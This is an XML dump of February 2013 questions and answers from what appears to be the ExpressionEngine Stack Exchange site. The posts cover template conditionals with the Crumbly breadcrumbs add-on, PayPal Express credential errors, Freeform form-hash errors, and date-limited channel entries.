  <row Id="6391" PostTypeId="2" ParentId="6353" CreationDate="2013-02-15T10:50:21.517" Score="0" Body="&lt;p&gt;You can try using PHP and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#flash-data-for-redirects&quot; rel=&quot;nofollow&quot;&gt;EE Session Flash Data&lt;/a&gt; - but I believe this will work only if you use &lt;code&gt;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect&lt;/code&gt; and not form submission (worth trying though)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also store data in PHP session using &lt;a href=&quot;http://devot-ee.com/add-ons/session-variables-plugin&quot; rel=&quot;nofollow&quot;&gt;Session Variables Plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-15T10:50:21.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6392" PostTypeId="1" AcceptedAnswerId="6393" CreationDate="2013-02-15T11:13:18.760" Score="4" ViewCount="165" Body="&lt;p&gt;Is it possible to enable/disable comment notifications for each author?&#xA;Some authors want to receive comment notifications. Others prefer not to get notified.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastEditorUserId="1018" LastEditDate="2013-02-15T11:55:15.693" LastActivityDate="2013-02-15T12:31:45.157" Title="Per author enable/disable comment notification" Tags="|members|comments|notification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6393" PostTypeId="2" ParentId="6392" CreationDate="2013-02-15T11:42:36.883" Score="3" Body="&lt;p&gt;This is or should be the default behavior. Generally, there is a checkbox, to request to receive notifications regarding comments for a particular post, see &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/index.html#comment-notification-links-tag&quot; rel=&quot;nofollow&quot;&gt;Comments Notification Link&lt;/a&gt; about also adding this function for members who haven't commented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; You'd want to use the same '&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/index.html#comment-notification-links-tag&quot; rel=&quot;nofollow&quot;&gt;Comment Notification Link&lt;/a&gt;' provided above. Turn notifications of comments 'OFF' in Channel Preferences, and allow each author to subscribe to the article they want notifications for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if authors are posting from a SafeCracker form rather then inside the Control Panel, you can probably have them subscribe at the time of posting. If they are posting from within the control panel, you would either need an &lt;code&gt;custom extension&lt;/code&gt; to handle the subscription &lt;strong&gt;OR&lt;/strong&gt; if you had a custom member field, that indicated an author wanted to receive notifications from ALL their posts, this could potentially be used to somewhat automate that process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to give authors full control, then let them subscribe to comments.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-02-15T12:31:45.157" LastActivityDate="2013-02-15T12:31:45.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6394" PostTypeId="2" ParentId="6390" CreationDate="2013-02-15T11:45:08.180" Score="3" Body="&lt;p&gt;Did you check the permissions on your config.php file? I've seen this happen when the config.php file is not writeable.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-15T11:45:08.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6395" PostTypeId="2" ParentId="6386" CreationDate="2013-02-15T12:10:02.190" Score="5" Body="&lt;p&gt;While what @Adrian Macnell states is primarily true. It's primarily true, because most people choosing ExpressionEngine for their websites are &lt;code&gt;web developers&lt;/code&gt;. EE CMS isn't like Drupal or WordPress, where tons of people offer free or for a price themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, ExpressionEngine makes it fairly to easy to use other themes. If you don't know much about HTML and CSS, then EE2 allows you to use the HTML from any rendered Drupal or WordPress theme or you could find a site that just specializes in basic HTML themes to use. Additionally, as @BKY has mentioned, there are a few EE theme vendors such as &lt;a href=&quot;http://themeforest.net/category/cms-themes/expressionengine&quot;&gt;ThemeForest&lt;/a&gt;, &lt;a href=&quot;http://themes.addonbakery.com&quot;&gt;AddOnBakery&lt;/a&gt;, &lt;a href=&quot;http://dzineblog.com/2011/02/10-best-expressionengine-themes-by-woothemes.html&quot;&gt;WooThemes&lt;/a&gt;, and &lt;a href=&quot;http://themesquirrel.com/themeblog/premium-expressionengine-themes/&quot;&gt;ThemeSquirrel&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;themes/site_themes/&lt;/code&gt; folder is for importing themes that were made available pre-installation. I believe it stores information that will automate creating templates, template groups, field groups and other information to set-up a basic site. But then, as @Adrian mention, you would actually edit and modify your new them via the &lt;code&gt;Template Manager&lt;/code&gt; in the Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact is, with ExpressionEngine swapping out themes will never be as easy as WordPress or Drupal, because that's &lt;strong&gt;not&lt;/strong&gt; the type of Content Management System (CMS) EE is. ExpressionEngine is mostly used by people who want &lt;strong&gt;powerful control&lt;/strong&gt; over designing their websites, which general means, in the control of the look and feel of the site as well. That's why you won't find too many &lt;code&gt;themes&lt;/code&gt; for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when you do find a theme. Please take care to read the &lt;code&gt;theme installation&lt;/code&gt; instructions. I know the AddOnBakery provides &lt;a href=&quot;http://www.addonbakery.com/blog/quick-installation-guide-troubleshooting/&quot;&gt;directions&lt;/a&gt; and I'd assume this is true for other vendors. Though if the theme is basic HTML, it would need to be added directly in the &lt;code&gt;template manager&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-15T12:10:02.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6396" PostTypeId="2" ParentId="5549" CreationDate="2013-02-15T12:20:18.650" Score="1" Body="&lt;p&gt;I came across a similar problem with ed_imageresizer and MSM. I wanted to be able to use ed_imageresizer on both MSM sites but ran into problems with the server paths. I solved the problem by installing two versions of the ed_imageresizer plugin and using one version for each site, with different path configurations stored in each plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used ed_imageresizer for site1 and kai_imageresizer for site2. You can find kai_imageresizer on this devot-ee.com forums thread: &lt;a href=&quot;http://devot-ee.com/add-ons/support/ed-imageresizer/viewthread/460#8479&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/ed-imageresizer/viewthread/460#8479&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kai_imageresizer is a forked version of ed_imageresizer that allows resizing of remote images. You don't need the remote image function for resizing images for site2, but you can use this plugin so you can have two versions of ed_imageresizer installed, each with different server and cache paths.&lt;/p&gt;&#xA;" OwnerUserId="1019" LastActivityDate="2013-02-15T12:20:18.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6397" PostTypeId="1" AcceptedAnswerId="6400" CreationDate="2013-02-15T12:35:12.820" Score="3" ViewCount="1038" Body="&lt;p&gt;Here's some code I'm using to generate Breadcrumbs on my site. Unfortunately the client has quite specific requirements in terms of URLs, so I've had to play around with Crumbly's tag a little using an If statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;search&quot;}&#xA;    {exp:crumbly:breadcrumbs custom_url:pattern=&quot;template_group/template/ignore&quot;}&#xA;{if:elseif segment_2 == &quot;search&quot;}&#xA;    {exp:crumbly:breadcrumbs}&#xA;{if:else}&#xA;    {exp:crumbly:breadcrumbs}&#xA;{/if}&#xA;&#xA;    {if count &amp;gt; 1}&#xA;        {if 1 == 1}&#xA;            &amp;lt;span class=&quot;divider&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;{if count != total_results}{breadcrumb_url}{if:else}#{/if}&quot;&amp;gt;&#xA;                    {breadcrumb_title}&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/if}&#xA;{/exp:crumbly:breadcrumbs}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, EE's template, when saved, warns me this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:crumbly … No closing tag found. Note: some tags do not require&#xA;  closing. Please consult the module's documentation if you experience&#xA;  problems.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However I hope you can see it &lt;em&gt;should&lt;/em&gt; just be a warning, as the closing tag is present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the main problem.&lt;/strong&gt; When I load the page, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Parse error: syntax error, unexpected T_ELSEIF in /nfs/c09/h02/mnt/135913/domains/mysite.com/html/system/expressionengine/libraries/Functions.php(683) : eval()'d code on line 75&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2013-02-15T12:46:03.447" Title="PHP Syntax Error from ExpressionEngine Template" Tags="|templates|conditionals|advanced-conditionals|ifelse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6398" PostTypeId="1" CreationDate="2013-02-15T12:41:27.747" Score="3" ViewCount="2781" Body="&lt;p&gt;Several users are complaining about this error whenever they try to submit one of our online forms: &quot;invalid form id(s) submitted&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I can't replicate this error. Also, many people have submitted the same for without any problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this link &lt;a href=&quot;http://www.solspace.com/forums/viewthread/13745/#55777&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/13745/#55777&lt;/a&gt; which suggests it's to do with XID hash. If so, how can I set it so it doesn't expire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am using EE v2.4.0 FreeForm Pro 4.0.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Abdi&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2019-01-25T13:22:26.927" Title="&quot;invalid form id(s) submitted&quot; error for a FreeForm Pro form" Tags="|forms|solspace-freeform|error|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6399" PostTypeId="2" ParentId="6397" CreationDate="2013-02-15T12:44:22.473" Score="3" Body="&lt;p&gt;You can't separate heading and closing tags by &lt;code&gt;{if}&lt;/code&gt; statements like that. I've never used Crumbly specifically, but with ExpressionEngine native tags, &lt;strong&gt;BOTH&lt;/strong&gt; the open and closing tags need to be within the `{if} area to be properly evaluated, so this should work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;search&quot;}&#xA;&#xA;    {exp:crumbly:breadcrumbs custom_url:pattern=&quot;template_group/template/ignore&quot;}&#xA;     {if count &amp;gt; 1}&#xA;        {if 1 == 1}&#xA;            &amp;lt;span class=&quot;divider&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;{if count != total_results}{breadcrumb_url}{if:else}#{/if}&quot;&amp;gt;&#xA;                    {breadcrumb_title}&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/if}&#xA;    {/exp:crumbly:breadcrumbs}&#xA;&#xA;{if:elseif segment_2 == &quot;search&quot;}&#xA;&#xA;    {exp:crumbly:breadcrumbs}&#xA;     {if count &amp;gt; 1}&#xA;        {if 1 == 1}&#xA;            &amp;lt;span class=&quot;divider&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;{if count != total_results}{breadcrumb_url}{if:else}#{/if}&quot;&amp;gt;&#xA;                    {breadcrumb_title}&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/if}&#xA;    {/exp:crumbly:breadcrumbs}&#xA;&#xA;{if:else}&#xA;&#xA;    {exp:crumbly:breadcrumbs}&#xA;     {if count &amp;gt; 1}&#xA;        {if 1 == 1}&#xA;            &amp;lt;span class=&quot;divider&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;{if count != total_results}{breadcrumb_url}{if:else}#{/if}&quot;&amp;gt;&#xA;                    {breadcrumb_title}&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/if}&#xA;    {/exp:crumbly:breadcrumbs}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this &lt;strong&gt;WILL NOT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;search&quot;}&#xA;    {exp:crumbly:breadcrumbs custom_url:pattern=&quot;template_group/template/ignore&quot;}&#xA;{if:elseif segment_2 == &quot;search&quot;}&#xA;    {exp:crumbly:breadcrumbs}&#xA;{if:else}&#xA;    {exp:crumbly:breadcrumbs}&#xA;{/if}&#xA;&#xA;    {if count &amp;gt; 1}&#xA;        {if 1 == 1}&#xA;            &amp;lt;span class=&quot;divider&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;{if count != total_results}{breadcrumb_url}{if:else}#{/if}&quot;&amp;gt;&#xA;                    {breadcrumb_title}&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/if}&#xA;{/exp:crumbly:breadcrumbs}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-15T12:44:22.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6400" PostTypeId="2" ParentId="6397" CreationDate="2013-02-15T12:46:03.447" Score="4" Body="&lt;p&gt;For deeper understanding, read about &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot; rel=&quot;nofollow&quot;&gt;Rendering Stages&lt;/a&gt; in EE user guide. Advanced conditionals are processed after module tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting it simply, &lt;code&gt;exp:crumbly:breadcrumbs&lt;/code&gt; is processed before &lt;code&gt;if&lt;/code&gt; statements, so EE engine is receiving 3 &lt;code&gt;exp:crumbly:breadcrumbs&lt;/code&gt; opening tags and just one closing tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 possible solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Have separate code for each &lt;code&gt;if&lt;/code&gt; (note that actually 3 tags will be processed, but just 1 displayed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Use &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; module (this is the approach I'd choose)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-15T12:46:03.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6402" PostTypeId="2" ParentId="6383" CreationDate="2013-02-15T13:42:12.843" Score="1" Body="&lt;p&gt;Assuming that your fieldtype is called &quot;My Great Fieldtype&quot;, with a class name of &lt;code&gt;My_great_fieldtype_ft&lt;/code&gt;, use this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT field_id FROM exp_channel_fields WHERE field_type = 'my_great_fieldtype'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that the &lt;code&gt;field_type&lt;/code&gt; column is all lowercase, without the &lt;code&gt;_ft&lt;/code&gt; suffix.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-15T13:42:12.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6403" PostTypeId="2" ParentId="6398" CreationDate="2013-02-15T13:47:10.937" Score="3" Body="&lt;p&gt;The only way to prevent forms which use EE's form hashing security is to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/security/spam_protection.html#secure-form-mode&quot; rel=&quot;nofollow&quot;&gt;disable secure forms altogether&lt;/a&gt;. Some modules have a setting to disable it per-form, but it appears that Freeform does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most often this error comes up when people use their &quot;back&quot; button and the page is loaded from the cache, not reloaded from the server.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-15T13:47:10.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6404" PostTypeId="2" ParentId="6378" CreationDate="2013-02-15T13:59:13.827" Score="1" Body="&lt;p&gt;The moblog module unfortunately does not offer any integration with third-party fieldtypes, and has no extension hooks to allow you to do so. Honestly (as you can see by the comment by Adrian - an experienced EE developer - above) most people have no idea this module even exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you're either hacking core, or writing your own moblog-type module from scratch for this I'm afraid.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-15T13:59:13.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6405" PostTypeId="1" AcceptedAnswerId="6408" CreationDate="2013-02-15T14:10:42.973" Score="1" ViewCount="274" Body="&lt;p&gt;I have a news section on a site and would like to limit entries on certain pages to &quot;fresher&quot; content so that it will only show entries that have been entered within the last three months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reviewing all the parameters &lt;strong&gt;start_on&lt;/strong&gt; looks like the closest fit but it would have to be dynamic so that it was something like today's date minus 90 days or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone familiar with a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-02-15T14:53:39.490" Title="Is there a way to limit display of entries to a within a recent time period?" Tags="|channel-entries|entry-date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6406" PostTypeId="2" ParentId="6405" CreationDate="2013-02-15T14:19:17.273" Score="2" Body="&lt;p&gt;I'm no fan of PHP in templates, but that's the simplest solution here. Enable PHP in your template (on input) first.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $from = date('Y-m-d h:i A', strtotime('90 days ago')); ?&amp;gt;   &#xA;{exp:channel:entries start_on=&quot;&amp;lt;?php echo $from; ?&amp;gt;&quot; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-15T14:19:17.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6407" PostTypeId="2" ParentId="6369" CreationDate="2013-02-15T14:30:49.473" Score="4" Body="&lt;p&gt;I've had a similar issue, which in the end had to do with me not being consistent with the usage of www. Is the behaviour the same when you use www or not? You could also add &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$config['assets_site_url'] = '/index.php';&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To the config file of EE, maybe that helps?&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-02-15T14:30:49.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6408" PostTypeId="2" ParentId="6405" CreationDate="2013-02-15T14:53:39.490" Score="3" Body="&lt;p&gt;What Derek said. If you are not a fan of PHP in templates, &lt;a href=&quot;http://viminteractive.com/software/dt_plugin/&quot; rel=&quot;nofollow&quot;&gt;you could use the date and time plugin&lt;/a&gt; (free). Used it in the past for what you are describing, in combination with the start_on and stop_before parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current date can be obtained using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{current_time format=&quot;%Y-%m-%d&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-02-15T14:53:39.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6409" PostTypeId="1" AcceptedAnswerId="6411" CreationDate="2013-02-15T15:16:03.847" Score="4" ViewCount="56" Body="&lt;p&gt;When I'm pulling related_entries into a channel:entries tag, I want to be able to sort those related entries (for example by date).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_entries id=&quot;related_field&quot; orderby=&quot;entry_date&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that the above orderby parameter is not accepted by the related_entries tag, but is there any other clever way to get those entries sorted?&lt;/p&gt;&#xA;" OwnerUserId="1020" LastEditorUserId="28" LastEditDate="2013-02-15T16:00:23.317" LastActivityDate="2013-02-15T16:00:23.317" Title="Is it possible to sort related_entries?" Tags="|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6410" PostTypeId="1" AcceptedAnswerId="6493" CreationDate="2013-02-15T15:29:09.117" Score="0" ViewCount="247" Body="&lt;p&gt;I was attempting the implement the additional security steps highlighted in the post installation documentation &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/best_practices.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; on a dedicated server.  I came to realize after talking with a Rackspace, my hosting provider, that this document and setup is intended for shared hosting as my vhosted dedicated server is not laid out in the manner described in the tutorial.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone ever accomplished this? Google searches keep turning up dedicated hosting solutions. Rackspace offered a solution of creating an additional folder inside my current folder housing everything and than redirect to this nested folder allowing me to place admin files at the same level, they were not aware of how this would affect EE though.   &lt;/p&gt;&#xA;" OwnerUserId="902" LastEditorUserId="27" LastEditDate="2013-02-15T15:55:05.367" LastActivityDate="2013-02-18T21:46:13.610" Title="How do I implement EE security best practice with vhost dedicated server" Tags="|security|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6411" PostTypeId="2" ParentId="6409" CreationDate="2013-02-15T15:37:16.287" Score="5" Body="&lt;p&gt;Using &lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates&quot;&gt;P&amp;amp;T's Playa&lt;/a&gt; a lot these days for relationships but, if you don't need all that raw power, my advise would be to flip your logic a bit and use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#reverse-related-entries-tag-pair&quot;&gt;reverse_related_entries&lt;/a&gt; which support orderby and sort parameters.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-02-15T15:37:16.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6412" PostTypeId="1" AcceptedAnswerId="6476" CreationDate="2013-02-15T15:41:11.633" Score="1" ViewCount="174" Body="&lt;p&gt;I'm using Structure and Zoo Visitor for a Recruitment site I'm currently working on which will have two distinct types of users (I have two seperate member groups for permissions).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Staff Members (Login access to CP, add/edit/delete Blog Posts, Jobs Postings, etc).&lt;/li&gt;&#xA;&lt;li&gt;Candidates (No Access to CP. Register on Front-end, edit their own profile, Apply for Jobs etc.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I'm struggling with is how I'd setup the Urls bearing in mind I use Structure to manage that. How will I be able to distiguish between the two member groups so I can have different Urls / Templates etc? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the Zoo Visitor Member channel to Structure as a listing, but I notice the Structure tab is missing when editing an Entry. Which would make sense as there doesn't look like any way to determine which member group you're dealing with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like to have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/team/ (listing of all Staff members).&#xA;/team/joe-bloggs (an individual staff member)&#xA;&#xA;/candidate (only display your own profile when logged in)&#xA;/candidate/login (speaks for itself).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I can accomplish the &lt;code&gt;/candidate/&lt;/code&gt; section of the site fine using the standard Zoo Visitor templates. What I can't seem to do is assign a specific template to the the staff member part &lt;code&gt;/team/joe-bloggs/&lt;/code&gt;. The Structure tab is missing from the Add / Edit Entry form in CP.  &lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-02-18T10:27:44.547" LastActivityDate="2013-02-18T12:06:23.323" Title="Zoo Visitor and Structure - Different Urls and Templates per member group" Tags="|structure|zoo-visitor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6413" PostTypeId="1" AcceptedAnswerId="6415" CreationDate="2013-02-15T15:50:48.273" Score="4" ViewCount="3214" Body="&lt;p&gt;I am using Store with PayPal Express. I have entered my credentials from my PayPal account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to make a purchase I get the payment method error &quot;Security header is not valid.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried setting and unsetting the Require SSL connection for checkout and order tags setting in store - makes no diff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need help with where to look.&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="150" LastEditDate="2013-02-15T15:58:15.077" LastActivityDate="2013-02-15T15:58:15.077" Title="Error using Store with PayPal Express: Security header is not valid" Tags="|expresso-store|paypal-express-checkout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6414" PostTypeId="2" ParentId="6412" CreationDate="2013-02-15T15:54:40.863" Score="1" Body="&lt;p&gt;Couldn't you wrap the different navigation sets in if member conditionals and show them based on their permissions?&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-02-15T15:54:40.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6415" PostTypeId="2" ParentId="6413" CreationDate="2013-02-15T15:55:40.980" Score="4" Body="&lt;p&gt;This sounds like an issue with PayPal credentials according to these threads:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://premium.wpmudev.org/forums/topic/10002-security-error-security-header-is-not-valid&quot;&gt;http://premium.wpmudev.org/forums/topic/10002-security-error-security-header-is-not-valid&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.paidmembershipspro.com/2012/03/security-header-is-not-valid/&quot;&gt;http://www.paidmembershipspro.com/2012/03/security-header-is-not-valid/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are connecting to &quot;Live&quot;, recheck your credentials and make sure you are using the correct ones for &quot;Live&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are connecting to &quot;Sandbox&quot;, make sure those credentials are correct.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-15T15:55:40.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6416" PostTypeId="2" ParentId="6413" CreationDate="2013-02-15T15:56:40.027" Score="3" Body="&lt;p&gt;Generally this happens when you are using PayPal live account credentials, but you have set the gateway to &quot;Test Mode&quot; in the Store settings, or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can only set the PayPal gateway to test mode if you have created a PayPal developer account (this has completely separate credentials from your normal PayPal account).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-15T15:56:40.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6417" PostTypeId="2" ParentId="6390" CreationDate="2013-02-15T16:05:08.227" Score="2" Body="&lt;p&gt;To answer your question, I'd say the upgrade is complete but you'll need to check the install to be sure. Manually updating the version in config.php is the correct step.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-15T16:05:08.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6418" PostTypeId="2" ParentId="6378" CreationDate="2013-02-15T16:23:37.760" Score="0" Body="&lt;p&gt;The Moblog Module hasn't seen any new development for many years so I'm positive there is not a way to connect it to more modern modules without using is as a foundation for your own custom code.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-15T16:23:37.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
